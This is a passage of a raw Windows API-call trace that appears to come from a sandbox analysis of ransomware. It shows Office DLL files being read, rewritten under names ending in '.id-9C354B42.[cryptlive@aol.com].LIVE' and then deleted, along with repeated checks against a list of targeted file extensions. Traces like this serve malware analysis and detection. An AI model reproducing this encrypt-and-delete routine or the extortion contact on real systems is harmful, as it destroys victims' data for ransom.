Flags=0x0, Size=0x10) returned 0x5de3c8 [0168.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x3e00020 [0168.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3e0 [0168.165] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de3e0, Size=0x20) returned 0x5e3d18 [0168.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3e0 [0168.165] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de3e0, Size=0x20) returned 0x5e3d40 [0168.165] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.165] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.165] Wow64DisableWow64FsRedirection (in: OldValue=0x33eff58 | out: OldValue=0x33eff58*=0x0) returned 1 [0168.165] lstrlenW (lpString="kernel32.dll") returned 12 [0168.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d18 | out: hHeap=0x570000) returned 1 [0168.165] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d40 | out: hHeap=0x570000) returned 1 [0168.165] Sleep (dwMilliseconds=0x64) [0168.330] Sleep (dwMilliseconds=0x64) [0168.665] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0168.665] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0168.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0168.666] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=52656) returned 1 [0168.666] CloseHandle (hObject=0x1ec) returned 1 [0168.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0168.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0168.666] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0168.666] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0168.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0168.667] GetLastError () returned 0x0 [0168.667] ReadFile (in: hFile=0x1ec, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0168.825] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0168.826] ReadFile (in: hFile=0x1ec, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0168.826] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.826] SetEndOfFile (hFile=0x1f0) returned 1 [0168.830] CloseHandle (hObject=0x1f0) returned 1 [0168.830] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0168.830] SetEndOfFile (hFile=0x1ec) returned 1 [0168.831] CloseHandle (hObject=0x1ec) returned 1 [0168.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0168.832] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.832] lstrlenW (lpString=".doc") returned 4 [0168.832] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".docx") returned 5 [0168.832] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0168.832] lstrlenW (lpString=".pdf") returned 4 [0168.832] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".xls") returned 4 [0168.832] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".xlsx") returned 5 [0168.832] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0168.832] lstrlenW (lpString=".ppt") returned 4 [0168.832] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.832] lstrlenW (lpString=".zip") returned 4 [0168.832] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".rar") returned 4 [0168.832] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".bz2") returned 4 [0168.832] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.832] lstrlenW (lpString=".7z") returned 3 [0168.833] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString=".dbf") returned 4 [0168.833] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString=".1cd") returned 4 [0168.833] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString=".jpg") returned 4 [0168.833] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString=".doc") returned 4 [0168.833] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".docx") returned 5 [0168.833] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0168.833] lstrlenW (lpString=".pdf") returned 4 [0168.833] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".xls") returned 4 [0168.833] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".xlsx") returned 5 [0168.833] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0168.833] lstrlenW (lpString=".ppt") returned 4 [0168.833] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString=".zip") returned 4 [0168.833] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".rar") returned 4 [0168.833] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".bz2") returned 4 [0168.833] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.833] lstrlenW (lpString=".7z") returned 3 [0168.833] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.833] lstrlenW (lpString=".dbf") returned 4 [0168.834] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.834] lstrlenW (lpString=".1cd") returned 4 [0168.834] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0168.834] lstrlenW (lpString=".jpg") returned 4 [0168.834] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.834] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0168.834] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0168.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0168.835] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=154448) returned 1 [0168.835] CloseHandle (hObject=0x1ec) returned 1 [0168.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0168.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0168.835] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0168.835] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0168.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0168.836] GetLastError () returned 0x0 [0168.836] ReadFile (in: hFile=0x1ec, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x25b50, lpOverlapped=0x0) returned 1 [0168.862] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0168.865] ReadFile (in: hFile=0x1ec, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0168.865] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.865] SetEndOfFile (hFile=0x1f0) returned 1 [0168.865] CloseHandle (hObject=0x1f0) returned 1 [0168.865] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0168.865] SetEndOfFile (hFile=0x1ec) returned 1 [0168.867] CloseHandle (hObject=0x1ec) returned 1 [0168.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0168.867] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.868] lstrlenW (lpString=".doc") returned 4 [0168.868] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.868] lstrlenW (lpString=".docx") returned 5 [0168.868] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0168.868] lstrlenW (lpString=".pdf") returned 4 [0168.868] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.868] lstrlenW (lpString=".xls") returned 4 [0168.868] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.868] lstrlenW (lpString=".xlsx") returned 5 [0168.868] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0168.868] lstrlenW (lpString=".ppt") returned 4 [0168.868] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.868] lstrlenW (lpString=".zip") returned 4 [0168.868] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.868] lstrlenW (lpString=".rar") returned 4 [0168.868] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.868] lstrlenW (lpString=".bz2") returned 4 [0168.868] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.868] lstrlenW (lpString=".7z") returned 3 [0168.868] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.869] lstrlenW (lpString=".dbf") returned 4 [0168.869] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.869] lstrlenW (lpString=".1cd") returned 4 [0168.869] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.869] lstrlenW (lpString=".jpg") returned 4 [0168.869] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.869] lstrlenW (lpString=".doc") returned 4 [0168.869] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.869] lstrlenW (lpString=".docx") returned 5 [0168.869] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0168.869] lstrlenW (lpString=".pdf") returned 4 [0168.869] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.869] lstrlenW (lpString=".xls") returned 4 [0168.869] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.869] lstrlenW (lpString=".xlsx") returned 5 [0168.869] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0168.869] lstrlenW (lpString=".ppt") returned 4 [0168.869] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.869] lstrlenW (lpString=".zip") returned 4 [0168.869] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.869] lstrlenW (lpString=".rar") returned 4 [0168.869] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.870] lstrlenW (lpString=".bz2") returned 4 [0168.870] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.870] lstrlenW (lpString=".7z") returned 3 [0168.870] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.870] lstrlenW (lpString=".dbf") returned 4 [0168.870] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.870] lstrlenW (lpString=".1cd") returned 4 [0168.870] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0168.870] lstrlenW (lpString=".jpg") returned 4 [0168.870] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.332] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0169.332] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0169.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0169.333] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=1388416) returned 1 [0169.333] CloseHandle (hObject=0x1f8) returned 1 [0169.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0169.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0169.334] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0169.334] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0169.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0169.335] GetLastError () returned 0x0 [0169.335] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0xffff0, lpOverlapped=0x0) returned 1 [0169.485] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0169.747] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x52f90, lpOverlapped=0x0) returned 1 [0169.761] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0x52fa0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0x52fa0, lpOverlapped=0x0) returned 1 [0169.934] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0169.934] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xfc, lpOverlapped=0x0) returned 1 [0169.942] SetEndOfFile (hFile=0x1d8) returned 1 [0169.942] CloseHandle (hObject=0x1d8) returned 1 [0169.942] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0169.942] SetEndOfFile (hFile=0x1f8) returned 1 [0169.946] CloseHandle (hObject=0x1f8) returned 1 [0169.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.946] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0169.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.948] lstrlenW (lpString=".doc") returned 4 [0169.948] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString=".docx") returned 5 [0169.948] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0169.948] lstrlenW (lpString=".pdf") returned 4 [0169.948] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString=".xls") returned 4 [0169.948] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString=".xlsx") returned 5 [0169.948] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0169.948] lstrlenW (lpString=".ppt") returned 4 [0169.948] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.948] lstrlenW (lpString=".zip") returned 4 [0169.948] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString=".rar") returned 4 [0169.948] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString=".bz2") returned 4 [0169.948] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0169.948] lstrlenW (lpString=".7z") returned 3 [0169.948] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString=".dbf") returned 4 [0169.949] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString=".1cd") returned 4 [0169.949] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString=".jpg") returned 4 [0169.949] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString=".doc") returned 4 [0169.949] 